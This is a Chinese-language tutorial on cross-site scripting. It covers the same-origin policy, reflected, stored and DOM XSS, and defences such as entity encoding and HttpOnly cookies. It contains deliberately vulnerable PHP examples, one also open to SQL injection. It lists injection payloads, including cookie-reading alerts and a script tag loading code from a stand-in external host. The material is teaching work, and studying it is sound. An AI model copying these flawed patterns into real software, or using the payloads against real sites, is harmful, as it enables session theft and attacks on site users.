当我们使用浏览器浏览多个网页的时候,浏览器怎样才能判断我们浏览的是同一网页?
SOP
(Same Origin Policy)同源策略,是一种约定也是浏览器最核心的基本安全功能。浏览器的同源策略,限制了来自不同源的文本或脚本对当前文本或脚本的读取或修改某些属性,同源策略主要检查源中的:
Protocol
Host
Port
只有当两个不同起源的协议、主机、端口都相同时,浏览器才会认为这是同一个网站,即允许同源的读写操作
XSS
(Cross Site Scripting)跨站脚本攻击,因为和层叠样式CSS
(Cascading Style Sheets)容易混淆,所以被叫做XSS,据说名字是微软起的
XSS在OWASP Top 10
常年位居前列,可见其攻击危害和广泛程度。XSS是一种发生在web前端中的计算机安全漏洞,主要攻击对象也是网站的各种用户,攻击者通过在网页中嵌入精心构造的客户端恶意Script代码
,当用户浏览到嵌入了恶意Script代码的网页,浏览器就会自动加载并执行嵌入的恶意Script代码已达到攻击者的目的
可能有人会问,浏览器为什么会加载并执行插入的恶意Script代码?
因为需要渲染的HTML代码和我们发送出去的HTML代码之间的区别浏览器根本无法得知,浏览器将整个响应数据看作HTML
(这是由Content-type:text/html
决定的)进一步处理之后渲染输出到页面上,所以浏览器就接受了所有东西作为HTML代码,然后执行了它,也就是说会依次执行到我们提交的恶意Script代码
造成XSS
这些恶意Script脚本通常是由Javascript
编写,也有使用Actionscript
、VBscript
等其他客户端脚本语言编写的,但是很少见,我也没接触过除了JavaScript
的其他XSS脚本
XSS的危害有多厉害,就要看构造的恶意JavaScript代码
能做到什么效果,JavaScript能做到什么样的效果,XSS就能达到多大的危害,XSS可以:
注:Javascript
加载外部的代码文件可以是任意扩展名甚至无须扩展名
,只要内容是JavaScript就会被执行
XSS攻击主要被分为三种类型,分别是:
反射型
、存储型
、DOM型
反射型XSS也被称为非持久型XSS
,一般需要用户自己去点击链接或发送请求的时候,服务器端接收数据处理后,然后把带有恶意Script代码
的数据发送到浏览器,浏览器解析了这段带有恶意Script代码
的数据,最终造成XSS漏洞,因为过程类似一次反射,所以称为反射型XSS
举个栗子:
<!DOCTYPE html>
<html>
<head>
<title>XSS Testing</title>
</head>
<body>
<div style="text-align:center;">
<form method="GET" action="" align="center">
if (isset($_GET['submit'])) {
$name = $_GET['name'];
echo "Welcome "
.$name."";
}else{
echo "Welcome!
";
}
?>
<input type="text" name="name" placeholder="Please input your name"><input type="submit" name="submit" value="sbumit">
</form>
</div>
</body>
</html>
程序会将提交的数据,通过GET传参到当前页面,然后回显到页面上
那么就可以给name=
参数提交恶意script代码
测试payload
<h1>xssh1>
<script>alert('xss')script>
<script>alert(/xss/)script>
<script>alert(777)script>
<script>alert(document.cookie)script>
<script src=http://xxx.com/xss.js>script>
<svg onload="alert(1)">
可以看到,反射型XSS是需要构造恶意Script代码然后去触发的,这种漏洞一般比较常见存在于:
XSS可能发生的场景:
<div>${xss}div>
<a href="http://www.xsser.com">${xss}a>
<h1>${xss}h1>
<p>${xss}p>
<ul>${xss}ul>
.......
在标签内输出就无需构造标签,直接控制${xss}变量即可造成xss
<div><script>alert(/xss/)<script>div>
<div class="${xss}">div>
<input type="text" name="username" value="${xss}"/>
<a href="${xss}">Hello<a/>
.......
在属性内输出数据,只需要闭合标签即可造成xss
<input type="text" name="username" value="" onclick="alert(/xss/)" />
<input type="text" name="username" value=""> <script>alert(/xss/)script>" />
<a href="javascript:alert(/xss/)">Hello<a/> //伪协议
<img src="a.jpg" onerror="${xss}">
<input type=“text” name="username" value="test" onclick="fun('${xss}')" />
.........
<input type="text" value="test" onclick="fun('')" onkeyup="alert(/xss/);//')" />
<style type="text/css">
body {background-image: url(${xss});}
body {background-image: expression(${xss});}
sytle>
........
body {background-image: url("javascript:alert(/xss/)");}
body {background-image: expression(alert(/xss/));}
<script>
var username="${username}";
script>
.......
var username="1";alert(/xss/);//"
注:只要是用户输入的数据,被拼接进了HTML中或在页面有回显的,都可以尝试绕过或闭合标签,进行XSS攻击
存储型XSS也被称为持久性XSS
,是最危险的一种XSS,具有很强的隐蔽性和危害性
存储型XSS和反射型XSS很相似,但是输入并不会直接返回,但是会被持久化(输入的内容存储在数据库或服务器的其他什么地方
),然后通过对它存储的数据读取展示给用户,很明显存储型XSS的危害更大,因为恶意代码被存储在数据库或服务器的其他什么地方有一个持久的影响
,攻击者输入的代码会注入到没一个浏览改网页的用户中,比如评论区,攻击者输入的恶意评论会被存储在数据库中,然后无论谁看到了这条评论,就会被自动注入恶意代码,无需用户手动触发
举个栗子:
<!DOCTYPE html>
<html>
<head>
<title>XSS Testing</title>
</head>
<body>
<div style="text-align:center;">
<form method="POST" action="">
$con = mysqli_connect("127.0.0.1","root","root");
if(!$con){
die("Could not connect!".mysql_error());
}
mysqli_query($con,"create database xss_test_db");
mysqli_query($con,"use xss_test_db");
if (isset($_POST['submit'])) {
$name = $_POST['name'];
if(empty($name)){
echo "Can not be empty!
";
}else{
mysqli_query($con,"insert into user value(0,'$name')");
echo "Register Success!
";
}
}else{
echo "Welcome!
";
}
?>
<input type="text" name="name" style="height:30px;width:250px;" placeholder="Please input your name"><input type="submit" name="submit" style="height:36px;color:#7d7d7d;" value="sbumit">
</form>
<br><br>
<table style="text-align:center;" border="1" align="center">
echo "uid name ";
mysqli_query($con,"create table user(uid int(11) primary key auto_increment not null,name varchar(255) not null)");
$sql_data = mysqli_query($con,"select * from user");
$sql_data_row = mysqli_num_rows($sql_data);
for ($i=0; $i < $sql_data_row; $i++) {
$sql_array = mysqli_fetch_assoc($sql_data);
$sql_uid = $sql_array['uid'];
$sql_name = $sql_array['name'];
echo "$sql_uid $sql_name ";
}
?>
</table>
</div>
</body>
</html>
从上面的代码中可以看到,我们输入的内容存进了数据库,并且数据库的数据会查询出来显示到页面上,很典型的存储型XSS
输入
可以看到,恶意js代码已经插入数据库,并长久存在,只要用户浏览到这个页面就会自动触发XSS
攻击手法其实和反射型XSS一样,持久型XSS一般出现在网站的留言、评论。博客日志等交互处,恶意脚本被数据库或服务器其他地方,当其他用户浏览该网页时,站点即从数据库中读取恶意用户存入的非法数据,然后显示在页面中,即在受害者主机上的浏览器执行恶意代码
DOM
全称为Document Object Model
,即文档对象模型,DOM
通常用于代表在HTML、XHTML、XML
中的对象。使用DOM
可以允许程序和脚本动态地访问和更新文档的内容、结构和样式
DOM型XSS代码不需要服务器解释响应的直接参与,触发XSS只需要浏览器的DOM解析,这是一种用户的输入就是存在于危险的JavaScript
代码中的一部分,完全发生于客户端
DOM规定:
<script type="text/javascript">
var temp = document.URL;
var index = document.URL.indexOf("content=");
var par = temp.substring(index);
document.write(decodeURI(par));
</script>
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name
document.cookie
表单的值
常见输出点:
document.write(...)
document.body.innerHtml= ...
document.create(...)
document.forms[0].action=...
document.body. ...
window.attachEvent(...)
document.location= ...
document.location.hostname= ...
document.location.replace(...)
document.URL= ...
window.navigate(...)
document.open(...)
window.open(...)
window.location.href= ...
eval(...)
window.execScript(...)
window.setInterval(...)
window.setTimeout(...)
XSS漏洞的最终形成的原因是对输入与输出
没有严格的过滤,在页面执行javasctipt
等客户端脚本,这就意味着只要将敏感字符过滤,即可修补XSS跨站漏洞
<
、>
、"
、'
、&
等字符都对HTML的正常结构有影响,如果对输入和输出这个几个字符没有进行严格过滤,极有可能破坏整个HTM文档结构。所示需要对这些特殊字符进行HTML实体编码转义PHP
中提供了htmlspecialchars()
、htmlentitles()
函数可以把一些预定义的字符转换为HTML实体XSS Filter
,这些 XSS Filter 目前来说还是有些效果的,能检验输入内容,高级一点的还会匹配 XSS 特征特殊字符 | HTML实体编码 |
---|---|
< | < |
> | > |
& | & |
" | " |
’ | ' |
/ | / |
Javascript编码
javascript
编码与html
实体编码不同,这条原则主要针对动态生成的javascript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror,onload等)。在往javascript代码中插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分之中,除了数字,字符之外的所有字符,小于127的字符编码都使用十六进制的方式进行编码,大于用Unicode
\
转成 \\
/
转成 \/
;
转成 ;(全角;)
Http Only
许多 XSS 攻击的目的就是为了获取用户的cookie
,将重要的 cookie 标记为http only
,这样的话当浏览器向服务端发起请求时就会带上cookie字段,但是在脚本中却不能访问 cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie。
严格的来说,http only
对防御XSS漏洞不起作用,这样做的的目的主要是解决XSS漏洞造成的Cookie
劫持攻击